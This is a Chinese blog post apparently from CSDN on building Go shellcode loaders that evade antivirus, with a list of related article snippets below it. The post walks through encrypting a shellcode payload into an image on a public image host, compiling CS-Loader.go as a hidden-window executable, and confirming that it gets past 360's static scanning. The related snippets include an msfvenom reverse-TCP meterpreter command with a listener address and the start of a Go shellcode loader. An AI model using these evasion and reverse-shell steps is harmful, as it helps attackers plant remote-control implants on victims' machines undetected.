go免杀制作

最新推荐文章于 2024-06-05 15:16:35 发布
最新推荐文章于 2024-06-05 15:16:35 发布
阅读量878 收藏 1
点赞数
分类专栏： 免杀
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_48776804/article/details/118861360
版权

go免杀
1 生成c的payload
在这里插入图片描述
shellcod复制到
在这里插入图片描述

2 加密图片，上传到图床
图床地址
https://imgurl.org/
在这里插入图片描述

python2 generator.py 123qwe 7cb7.jpg
生成shellcode_7cb7.jpg
在这里插入图片描述

3 go打包，上线

go build -ldflags="-H windowsgui" CS-Loader.go
会生成一个exe文件
在这里插入图片描述
4 经过实际测试，可以过360静态查杀，正常执行命令，无法提权，火绒直接报毒
在这里插入图片描述

在这里插入图片描述
火绒
在这里插入图片描述

wx_7782175678
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
GO静态免杀初探
HBohan的博客
09-30 880
Go加载器 网上找的Go加载器，最简单的免杀就是将shellcode加密解密，或者远程加载shellcode。 package main import ( "syscall" "unsafe" ) const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 ) var ( kernel32 = sy.
go免杀技术
qq_44657899的博客
08-12 606
文章目录分离免杀 分离免杀 下载编译加载器 #下载 https://github.com/brimstone/go-shellcode #进入sc目录，编译，生成一个main.exe go build main.go 生成shellcode msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.170.129 lport=4444 -f hex -o msf.hex msf开启监听 use exploit/multi/handler
实战shell免杀&C2远控&工具魔改（免杀日记 - 上篇）
最新发布
guanjian_ci的博客
06-05 1112
1、上面实验内容并不多，但是工具的使用、环境的安装、代码的排错够新手玩上几天了。2、绕过杀毒软件的本质就是防止被杀毒库匹配，代码、工具指纹等等！3、一个好的免杀，一定具备了多方面的性能：防杀软、绕过流量平台、防沙箱、防逆向调试后依然能够正常运行上线！4、此文章分上 、 中 、下，未完待续... ...
免杀制作
weixin_33834628的博客
05-06 334
病毒，***免杀，顾名思义 ，就是不能被杀毒软件侦测到，卡擦掉，这里面的技术，有简单的，有高深的，今天我就自己所了解到的一些小伎俩自己在这里留个记号，方便自己以后进步对比，也与大家共享我所学到的一些东西。 现在我就给大家讲讲做免杀需要的一些的东西，由于不同的制作方法有不同的步骤，所以我写的东西，都是自己想到哪里写到哪儿。 材料：巧妇难为无米之炊，我们首先...
记一次Go语言的学习--shellcode加载器免杀
jjjjj34的博客
04-24 1406
在网上搜了很多关于Go语言的免杀，我也是刚学几天，就做个学习对于GO语言做免杀的记录。
免杀方法（五）golang加载器cobaltstrike shellcode
qq_56426046的博客
10-04 1890
Go语言目前是最火的编程语言之一，使用go语言编写的加载器，运行shellcode 可以过国内主流杀软，例如360安全卫士、360安全杀毒、火绒、瑞星、金山、 电脑管家。免杀效果很好。而且操作免杀的步骤简单。 项目地址https:/github.com/jax777/shellcode-launch Go语言编译器下载https:/studygolang.com/dlDownloads - The Go Programming Language安装go，下载安装包，傻瓜安装即可。解压下载的项目压缩包，新建6
go免杀初探1
08-03
【标题】: "Go语言在免杀技术中的应用探索" 【描述】: "本文探讨了如何利用Go语言进行免杀技术的实现，特别是在Windows环境下的后门程序编写。通过Go的特性来规避杀毒软件的检测，以提高隐蔽性和持久性。" 【标签...
go-packer:golang打包二进制进行免杀
04-07
Go-packer是一个用Go语言编写的工具，它的主要目标是将Golang编译的二进制程序打包，以提高其在执行时的隐蔽性和逃避安全检测的能力。这个工具对于那些希望在不引起反病毒软件警报的情况下分发他们的应用程序的...
绕过AV：免杀shellcode加载器
03-04
条件触发式远控VT 6/70免杀国内杀软及后卫，卡巴斯基等主流杀软 原理 使用 将shellcode填至go_shellcode_encode.py生成重复后的base64有效负载然后将生成的payload填至main.go build（“ b64shellcode”）将main.go...
CS-Loader:CS免杀
03-22
暂不考虑开源，主要是觉得当前的技术还比较薄弱，如果有师傅想体验可以联系我V3.0：想办法结合更多免杀技术（想去研究下进程注入/文件捆绑，不知道免杀效果怎样） V3.1增加了go版本（可过火绒/ 360 / defender）依赖...
32.远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)1
08-03
声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！文章打包下载及相关软件下载： ht
go混淆实现bypassAV（cobaltstrike免杀）
qq_32445755的博客
02-09 911
近两年随着hw和红蓝对抗的增多，接触到的提权、内网渗透、域渗透也越来越多。攻击能力有没有提升不知道，但防护水平明显感觉提升了一大截，先不说防护人员的技术水平如果，最起码各种云WAF、防火墙、隔离设备部署的多了，服务器上也经常能见到安装了杀软、软waf、agent等等，特别是某数字杀软在国内服务器上尤为普及。这个时候，不会点免杀技术就非常吃亏了。
Golang-Gin 框架写的免杀平台，内置分离、捆绑等多种BypassAV方式
qq_53058639的博客
02-27 418
Golang-Gin 框架写的免杀平台，内置分离、捆绑等多种BypassAV方式。
GO恶意样本实例分析
zhangge3663的博客
01-15 713
最近在工作中遇到不少的go语言编写的恶意样本，也整理了在分析go恶意样本的一些基础知识，各位同学可以先看看这篇文章《GO恶意样本分析》，对go语言的分析基础有一定了解。 在平常的工作中遇到的情况来看，go语言的恶意样本可以分为如下的三个等级以及对应的等级的说明。 非常简单: 未去除符号以及未混淆的恶意软件。 一般简单: 去除符号的恶意软件。 困难:混淆的恶意软件。 我找了几个对应的样本，大家可以一起学习学习。 未去除符号以及未混淆的的恶意软件   WellMesss是疑似具有俄罗斯...
Go语言恶意样本分析
sxr__nc的博客
01-29 1157
样本信息 样本MD5 6BC5F53D4082F12DD83ACA45BAE81E64 样本编译语言 go语言 样本行为分析 通过对样本运行的动态行为进行分析，样本主要行为如下： 创建进程获取系统信息 系统信息上传C2 获取C2下发指令以及回传的文件 执行C2回传的文件 样本静态分析 分析go语言的样本，与一般C\C++编写的PE文件有很大不同，在分析go语言编写的样本的时候，反编译会识别大量函数。这其中有大部分的库函数，因此分析go语言的恶意样本需要先找到函数入口点。main_ma
远控免杀从入门到实践(7)-代码篇-Golang+Ruby
weixin_46236101的博客
03-13 1225
郑重声明：文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担！ 《远控免杀从入门到实践》系列文章目录： 1、远控免杀从入门到实践 (1)基础篇 2、远控免杀从入门到实践 (2)工具总结篇 3、远控免杀从入门到实践 (3)代码篇-C/C++ 4、远控免杀从入门到实践 (4)代码篇-C# 5、远控免杀从入门到实践 (5)代码篇-Python 6、远控免杀从入门到实践 (6)代码篇-Powershell 7、远控免杀从入门到实践
win10编译golang程序报病毒错误
u_say2what的博客
12-07 1320
错误为command-line-arguments: open C:\Users\ADMINI~1\AppData\Local\Temp\go-build435947867\b001\exe\a.out.exe: Operation did not complete successfully because the file contains a virus or potentially unwanted software.解决办法，将Local/Temp目录添加到病毒排除项即可。
简单的go病毒分析
eat_food的博客
08-21 474
简单的go病毒分析
编写一段段go语言免杀
09-18
我们可以使用Go语言来编写免杀代码。主要有以下几点：1）使用Go语言提供的抽象类型和函数；2）在编译时使用Go语言提供的编译器参数；3）使用Go语言的模块，如标准库中的syscall模块；4）使用Go语言的类型安全特性，例如枚举类型和结构体；5）使用Go语言的内存安全特性，例如检查堆栈溢出和内存溢出。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值